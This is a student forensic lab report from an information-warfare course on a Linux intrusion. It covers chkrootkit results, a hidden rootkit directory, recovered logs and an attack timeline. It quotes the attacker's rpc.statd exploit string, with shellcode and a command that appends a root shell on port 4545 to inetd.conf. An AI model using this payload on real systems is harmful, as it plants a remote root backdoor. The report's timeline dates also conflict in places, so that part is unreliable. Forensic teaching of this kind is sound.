Laboratory 2

CSCD 498 Information Warfare

Forensic Analysis

By John Powrie

Introduction 

Forensic Analysis is used to find information pertaining to the intrusion and compromise of a computer system. Upon completion students should understand the purpose and procedure of Forensic Analysis. Organizing data to represent evidence of a system compromise can be a tedious task. However, with the tools provided, which will be described and quite useful, we should find information that will point us in the right direction. 

Description
This lab is organized into seven tasks. The tasks are listed under the section ‘process/data’. The tools are used to catch information that could possibly be used as evidence to support a hypothesis of what the hacker did and why he did it. Each task leads to another, so I did them in their presented order. Searching the computer using chkrootkit gave me some infected files, but it did not manage to pin the name of the rootkit. The rpc exploit was a buffer overflow vulnerability, which enabled the remote user to execute commands with root privileges. Lazarus and unrm help locate deleted files enabling me to obtain deleted log files, especially in the /var/log directory. Between the Snort log (given in the assignment specifications) and the deleted logs in the var/log directory, I found some time discrepancies. The difference in time could be explained by the fact that the system events were logged from two different computers. The snort log is held on a remote computer while the deleted log files were held on the compromised system. Due to the time allocated for the lab and the amount of time it takes to run Lazarus, we could not run it. The lab assistants pre-ran Lazarus for us so we could access the deleted files. Due to time discrepancies, I could not find the exact time the hacker left the system. I am pretty certain that the hacker left a way to return the system with root privileges after it has been compromised.   
Tools/Mechanisms

Snort
Snort is an IDS (Intrusion Detection System) that logs events that may be an intrusion. Snort captured the PRC string overflow exploit and showed the commands that gave the hacker root access.


Chkrootkit
Chrkrootkit is a toolkit that provides tools to find out whether a system has been compromised with a rootkit. It searches through all of the common rootkits and checks command files to see if they have been infected. I did not find what rootkit was used with this tool, however, it did tell me what files were infected. This information was very useful later when I came across the directory .Ci, which contained all of the rootkit tools.

The Coroner’s Toolkit TCT
Mactime

Mactime is a tool that lists all of the accesses to files in a given time period. It is very useful for tracking the sequence of actions the hacker performed by following the trail of files that he or she accessed chronologically. 

Lazarus

Lazarus assembles raw data into a comprehendible format. It takes a file created by urnm and presents data in a form that we can examine. Lazarus does this by reading the first 10% of the data and determining if an ASCII text file is present. After the first 10% of the file is read, Lazarus will determine if the data is an ASCII text file or not.

Unrm

Unrm simply obtains deleted data from unallocated memory. The data is outputted to standard output.  The output can be redirected to a file.

Process/Data

Task 1: Use chkrootkit to search your system for a rootkit.

Using chkrootkit I did not find any rootkits being used on the system. However, I did find some infected files. These files include ps, ls, top, and ifconfig. 

Note: The output from chkrootkit with the root directory being /t

ROOTDIR is  '/t/'

Checking 'amd' ... not infected

Checking 'basename' ... not infected

Checking 'biff'... not found

Checking 'chfn'... not infected

Checking 'chsh'... not infected

Checking 'cron'... not infected

Checking 'date'... not infected

Checking 'du'... not infected

Checking 'dirname'... not infected

Checking 'echo'... not infected

Checking 'egrep'... not infected

Checking 'env'... not infected

Checking 'find'...not infected

Checking 'fingerd'... not infected

Checking 'gmp'... not infected

Checking 'grep'... not infected

Checking 'hdparm'... not infected

Checking 'su'... not infected

Checking 'ifconfig'... INFECTED

Checking 'inetd'... not infected

Checking 'inetconf'... not infected

Checking  'identd' INFECTED

Checking 'init'... not infected

Checking 'killall'... not infected

Checking 'ldsopreload'... not infected

Checking 'login'... not infected

Checking 'ls'... not infected

Checking 'lsof'... not infected

Checking 'mail'... not infected

Checking 'mingetty'... not infected

Checking 'netstat'... not infected

Checking 'named'... not infected

Checking 'passwd'... not infected

Checking 'pidof'... not infected

Checking 'pop2'... not found 

Checking 'pop3' not found

Checking 'ps'... INFECTED

Checking 'pstree'... not infected

Checking 'rpcinfo'... not infected

Checking 'rlogind'... not infected

Checking 'rshd'... not infected

Checking 'slogin'... not infected

Checking 'sendmail'... not infected

Checkng 'sshd'... infected but disabled

Checking 'syslogd'... not infected

Checking 'tar'... not infected

Checking 'tcpd'... not infected

Checking 'tcpdump' not infected

Checking 'top' INFECTED

Checking telnetd'... not infected

Checking 'timed'... not found

Checking 'traceroute'... not infected

Checking 'vdir'... not found

Checking 'w'... not infected

Checking 'write'... not infected

Checking 'aliens'...

/t/dev/ptyp

Searching for sniffer's logs, it may take a  while... nothing found

Searching for HiDrootkit's default dir... nothing found

Searching for t0rn's default files and directories... nothing found

Searching for t0rn's v8 defaults... nothing found

Searching for Lisa Worm default files and dirs... nothing found

Searching for RSHA's default files and dir... nothing found

Searching for RH-Sharpe's defualt files... nothing found

Searching for Ambient's rootkit (ark) default files and dirs... nothing found

Searching fot suspicious files and dirs, it may take a while...

/t/usr/lib/per15/5.00503/i386-linux/.packlist /t/usr/lib/per15/site_perl/5.05/i

386-linux/auto/MD5/.packlist /t/usr/lib/per15/site_perl/5.005/i386-linux/auto/mo

d_perl/.packlist /t/usr/lib/linuxconf/install/gnome/.directory /t/usr/lib/linuxc

/t/usr/man/.Ci

Searching for LPD Worm files and dirs.. nothing found

Searching for Ramen Worm files and dirs... nothing found

Searching for Maniac files and dirs... nothing found

Searching for RK17 files and dirs... nothing found

Searching for Ducoci rootkit... nothing found

Searching for Adore Worm... nothing found

Searching  for ShitC Worm... nothing found

Searching for Omega Worm... nothing found

Searching for Sadmind/IIS Worm... nothing found

Searching for MonKit... nothing found

Searching for Showtee... nothing found

Searching for OpticKit... nothing found

Searching for T.R.K... nothing found

Searching for Mithra... nothing found

Searching for LOC rootkit... nothing found

Searching for Romanian rootkit.. nothing found

Searching for HKRK rootkit... nothing found

Searching for Suckit rootkit... nothing found

Searching for Volc rootkit... nothing found

Searching for Gold2 rootkit... nothing found

Searching for TC2 Worm defualt files and dirs... nothing found

Searching for anomalies in shell history files... Warning: 't//root/.bash_histor

y' is  linked to another file

Checking 'asp'... not infected

Checking 'blindshell'... not tested

Checking 'lkm'... not tested

Checking 'rexedcs'... not found

Checking 'sniffer'... not tested

Checking 'wted'... nothing deleted

Checking 'w55808'... not infected

Checking 'scalper'... not infected

Checking 'slapper'... not infected

Checking 'z2' ...

nothing deleted

A rootkit must have been used. However, I cannot find which rootkit the hacker used. 

Task 2: Find the RPC exploit.

The RPC exploit is enabled by creating a buffer overflow (also known as stack smashing). A root account remains open after the system has been comprised by the invocation of this exploit.  

RPC exploit
RPC (Remote Procedure Call) has a rpc.statd service that contains a vulnerability for a user to execute code using root privileges by creating a buffer overflow. rpc.statd is part of the nfs-utils package. Due to a string format vulnerability in the syslog function, the executable code can be put into the process address space and the return address can be overwritten. The rpc.statd vulnerability is common for older versions of RedHat and other Linux distributions. When the code is executed (with root privileges).  It redirected as one line to the file /etc/inetd.conf. When the inetd is run again it creates a shell with root privalages to port 4545.  This allows the hacker to return whenever he or she pleases. The sequence of strings (highlighted in yellow) gives the user root privileges. It creates a shell and echoes the strings. The echoed strings create a tcp connection with root privilege through inetd. The echoed strings are redirected into a file inetd.conf. inetd.conf is a configuration file for the inetd daemon. The inetd daemon is responsible for network connections. It loads up what connection to look for from the inetd.conf. The second statement delimited by the ‘;’ is the ‘killall –HUP inetd’. This command restarts the inetd daemon. By restarting the inetd daemon, it re-reads the inetd.conf file. The inetd.conf file contains the appended command providing root access to port 4545. The inetd.conf file is read whenever the inetd daemon is started. Thus whenever the user boots the compromised system, the inetd daemon is ran using the inetd.conf file. Thus inetd.conf always provides root access on port 4545, or at least until someone finds that the system has been compromised.  

Root Shell commands/code executed by buffer overflow.  

NOTE: The executable code/commands are highlighted in yellow.

NOTE: Addresses spaces for process space and return address highlighted in green.

Nov  8 00:09:00 apollo rpc.statd[270]: SM_MON request for hostname containing '/': ^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f                                                                                      000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff70400000000000000000000000000000000000000000000000bffff7050000bffff7060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff707��������������������������������������������������ëK^‰v¬ƒî �^(ƒÆ ‰^°ƒî �^.ƒÆ ƒÃ ƒë#‰^´1Àƒî ˆF'ˆF*ƒÆ ˆF«‰F¸°+, ‰ó�N¬�V¸Í€1Û‰Ø@Í€è°ÿÿÿ/bin/sh -c echo 4545 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

Buffer Overflow
Buffer Overflow, also known as ‘stack smashing’, is done by creating a string that is too large to fit into a parameter. Exploits for buffer overflow are usually written in C or machine code.  To create a buffer overflow a couple of objectives must be met. You must know how far to set a mutilated string so that the executable commands/code can be run in the stack. The stack is what holds the scope variables of functions and the addresses they should return to. This is used with a buffer overflow by setting the return address to executable code. Buffer Overflow is known as stack smashing for this reason (to the best of my knowledge). Using the stack to execute commands and then returning to the original stack return address. The Buffer Overflow string consists of; overflow garble, return address, old base pointer, contents of buffer, and whatever is added to the stack frame. The addresses can be represented in the snort log entry above with a green highlight.

Log Rotation
As I searched through the deleted logs obtained from /var/log, I found the following information. A log rotation state file keeps track of when the logs were last rotated. The hacker probably erased.  This is so the system adminisrator would not see that the state of the logs has been altered.

Task 3: Obtain deleted logs using Lazarus and unrm. Search for keyword ‘rootkit’ on each drive partition using Lazarus. 

Examining the log files deleted in var/log string can be done by executing the following commands while in the path of the unrm/hda7 after using Lazarus.

Since all log files are txt files…

# grep  “rootkit” ./*.txt 

I then used grep to look at all of the directories under the /t mounted partitions


I found a match under /t/usr/man/.Ci/pstree. It was a binary file so I could not decipher anything when I tried to read it. I did not want to run it because it was a grep match for “rootkit” and was under an odd directory, which means it was probably used by the invading hacker.


Directory structure found under /t/usr/man/.Ci

root@reddeer .Ci]# ls -l

total 2168

drwxr-xr-x    2 1010     users        4096 Jul  7  2000

-rwxr-xr-x    1 1010     users       12408 Jun  2  2000 addn

-rwxr-xr-x    1 1010     users          83 Jun  4  2000 addps

-rwxr-xr-x    1 1010     users         714 Jun  2  2000 a.sh

drwxr-xr-x    2 root     root         4096 Nov  8  2000 backup

-rwxr-xr-x    1 1010     users     1052024 Aug  9  2000 bx

-rwxr-xr-x    1 1010     users         699 Aug 11  2000 chmod-it

-rwxr-xr-x    1 1010     users         698 Jun  2  2000 clean

-rwxr-xr-x    1 1010     users         328 Jun  2  2000 do

-rwxr-xr-x    1 1010     users      185988 Jun  2  2000 find

-rwxr-xr-x    1 1010     users       18535 Jun  2  2000 fix

-rwxr-xr-x    1 1010     users      147900 Jun  2  2000 inetd

-rwxr-xr-x    1 1010     users       12495 Jun  2  2000 killall

-rwxr-xr-x    1 1010     users         156 Aug 21  2000 needz

drwxr-xr-x    2 1010     users        4096 Aug  9  2000 paki

-rwxr-xr-x    1 1010     users       49800 Jun  2  2000 pstree

-rwxr-xr-x    1 1010     users      133344 Jun  2  2000 q

-rwxr-xr-x    1 1010     users      132785 Jun  2  2000 qs

-rwxr-xr-x    1 1010     users         188 Oct 11  2000 rmS

drwxr-xr-x    9 1010     users        4096 Aug 21  2000 scan

-rwxr-xr-x    1 1010     users        3098 Jun  2  2000 snap

-rwxr-xr-x    1 1010     users        7229 Jun  2  2000 snif

-rw-r--r--    1 root     root            5 Nov  8  2000 sniff.pid

-rwxr-xr-x    1 1010     users        5324 Jun  2  2000 sp.pl

-rwxr-xr-x    1 1010     users      350996 Jun  2  2000 syslogd

-rw-r--r--    1 root     root            0 Nov  8  2000 tcp.log

Directory structure under /t/usr/man/.Ci/backup

[root@reddeer backup]# ls -l

total 284

-rwxr-xr-x    1 root     root        42736 Nov  8  2000 ifconfig

-rwxr-xr-x    1 root     root        43024 Nov  8  2000 ls

-rwxr-xr-x    1 root     root        66736 Nov  8  2000 netstat

-r-xr-xr-x    1 root     root        60080 Nov  8  2000 ps

-rwxr-xr-x    1 root     root        23568 Nov  8  2000 tcpd

-r-xr-xr-x    1 root     root        34896 Nov  8  2000 top

Note: After looking through the subdirectories under .Ci, I came to the conclusion that these were Definitely the tools of a root kit. The documentation within the C and script files contained all of obscenities and derogatory remarks, which provided me with a gold mine of evidence pertaining to malicious code.  

Task 4: Use mactime in the TCT (The Coroner’s Toolkit) to see which files have been changed and when they were altered.

Mactime did not run correctly from a remote computer. Therefore, I could not obtain the requested information. It gave me a character error, which was discussed with the lab-assistants on Monday July 14, 2003. It was an UTF-8 error, which had to do with the current version of Perl on the remote computers. Thanks to Beth, I obtained the mactimes output via listserv.

Task 5: Reading the RPM database to find what has been installed.

The rpm database can be read using the query options. You can look at all of the installed packages by invoking the command “# /t/bin/rpm –root /t –qa –queryformat ‘%{NAME}-%{INSTALLTIME:date}-%{FILEMD5S}’. This command will print all of the packages, their date of installation and their checksum (which will show if files have been changed). If the checksum is different then the old checksum of the package then a file has been changed. This could mean that the package could have been compromised by a hacker.

Task 6: When the hacker left.

According to the deleted logs, which were captured from unallocated memory using unrm and Lazarus. The rpc.statd compromise was ran on Nov. 8 at 9:00:00. The user seemed to visit the system a multitude of times. Also the times do not match up between snort and the system logs.

So the time in which the RPC exploit was utilized differs between the snort log and the deleted system log. According to the deleted log which contains evidence of the exploit, the compromise happened Nov. 8 9:00:00 which is quite a difference from snorts log time of Nov. 7 at 23:11:06.

The latest of the snort log shows Nov 7, 23:11:52 and the latest of the deleted system log shows Nov 8, for cron.daily (LOOK UP CRON.DAILY) at a time of 04:02:00. Cron.daily runs bash scripts on a daily basis. I’m not sure if cron has been compromised; all I know is that it runs a script every day that sets a time stamp to the current date. The RPC exploit used allows the hacker to return with root privileges remotely. This makes the final exit time difficult to determine. Also the logged time of 9:00:00 seems too convenient, this gives me the impression the log was tampered with before it was deleted. Due to this information I do not have an exact time in which the hacker left the system for good. The mactime output also suggests the hacker left about 19:10ish. I feel most comfortable believing the mactime output.

Task 7: Hypothetical Time Outline
The times corresponding to each logged event do not match between the snort IDS and the logs in the compromised system. Thus I decided to have two different sequences of events. One refers to the Snort log; the other refers to the log files on the compromised system. I decided this partition of information would be easier for me to process, and possibly easier to understand.
I) Sequence of events according to the log of Snort IDS

23:11:06 RPC info query

This could have been done so the hacker could see if this rpc contained the 

string format vulnerability.

23:11:31 TELENET session

The Telnet session could have been started to invoke the rpc exploit. Commands can be run in a Telnet session, but almost never with root privileges.

23:11:50 The rpc exploit is invoked. 

This give the hacker root privileges remotely. This allows the hacker to install a rootkit or do anything he or she pleases with root privileges.

II) Sequence of events according to the fog files of the compromised system.

Nov 5, 09:00:00 (according to mactimes) RPC Exploit

According to the deleted log in var/log I was able to obtain the same buffer overflow string that was in the snort log. This allows the user to execute commands in a shell with root privileges. This allows the hacker to execute all of the tools in his or her toolkit.

Nov 06:29:27 FTP session

This could have been done to possibly move the root kit from one computer to the other. After the log of this event in the mactime input the .Ci directory shows up. This could mean the root kit was moved. There was also a logged event of a Telnet session. This could also be used to execute rootkit commands or possibly move the rootkit itself.

Nov 06:51:09-6:51:50 The hacker runs the rootkit.

Almost all of the tools are ran on the compromised the system. This includes changing log and redirecting log files, replacing commands with compromised versions. All system-comprising files were found in a .Ci directory.

Nov 5 6:52:12 Moving output

The output from /t/root/.bash_history, /t/usr/games/.bash_history, /t/tmp/.bash_history, and /t/.root_history were all redirected to output to /dev/null. This means any information from these files will be directed to nowhere. This will make forensics a little bit harder to decipher what happened. The bashlog is streamed to /dev/null, or in other words an empty void. This makes it difficult to later decipher which commands were ran in the roots bash shell. The redirections must have been created by the rootkit.

Hypothesis Log

6/8/03 Began to look through the snort log and examine the commands written into after a bunch of garble.

6/9/03 Researched on the RPC exploit. Found that the rpc.statd exploit. I am pretty sure this was the exploit used.

6/9/03 I went to the lab at Riverpoint. Obtained the deleted logs. Found the RPC exploit in the logs and a time discrepancy between the snort log and the deleted system logs. This shows evidence that not only are the logs deleted, but they contain information of interest.

6/10/03 The rpc.statd exploit includes stack smashing or buffer overflow. See the section of this lab on RPC exploit.

6/10/03 more research on the exploit. The RPC exploit used keeps a root shell open for the hacker. Thus finding the exit time of the hacker might come up inconclusive

6/11/03 Researched Buffer Overflow and how it affects the stack. The term “stack smashing” makes more sense.

6/12/03 I am coming to the hypothesis that the hacker first approached the system November 5, 2002. This is supported by a couple of pieces of evidence. First the deleted logs in var/log show the first entries on this date. Also, the command executable files in the directory /usr/man/.Ci/backup match Nov 5 2000. The year 2000 threw me off. However, there is something peculiar about these files.  All the command files in this backup directory came up infected when examined under chkrootkit. The directory /usr/man/.Ci/ is hidden. This makes me even more suspicious of malicious tampering. The only way I found this directory is by using the grep command to look for the keyword “rootkit” in the /t directory.

Conclusion

Even though I feel I have spent enough time on the lab, it is far from complete. Due to my current experience with forensic analysis I feel I would need a lot more time to digest all the information that I have encountered. Rootkits are nasty. They replace and move files to protect and keep them hidden from the user, and other deceptive actions. Provided these tools and a little skill, finding that a Linux system has been compromised is not as difficult as I thought it would be. However, finding out who did it, when it was done, how it was done and why it was done is far more difficult.  
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